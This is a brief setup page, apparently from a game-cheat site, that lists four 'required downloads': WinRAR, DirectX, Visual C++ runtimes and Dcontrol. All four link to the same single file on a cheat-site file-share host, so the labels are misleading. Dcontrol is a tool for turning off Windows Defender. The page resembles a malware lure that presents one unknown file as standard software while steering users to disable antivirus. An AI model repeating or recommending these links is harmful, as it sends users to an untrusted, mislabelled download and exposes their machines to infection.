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# System setup

**Required Downloads**

Before continuing, make sure to download and install the following:

* 📁 **WinRAR** [Download WinRAR](https://elite4files.elite4cheats.com/share/0JuCO08T)
* 🎮 **DirectX Runtime** [Download DirectX](https://elite4files.elite4cheats.com/share/0JuCO08T)
* 🧱 **Visual C++ Runtimes (All-in-One)** [Download VSRuntimes](https://elite4files.elite4cheats.com/share/0JuCO08T)
* 🧽 **Dcontrol** [Download Dcontrol](https://elite4files.elite4cheats.com/share/0JuCO08T)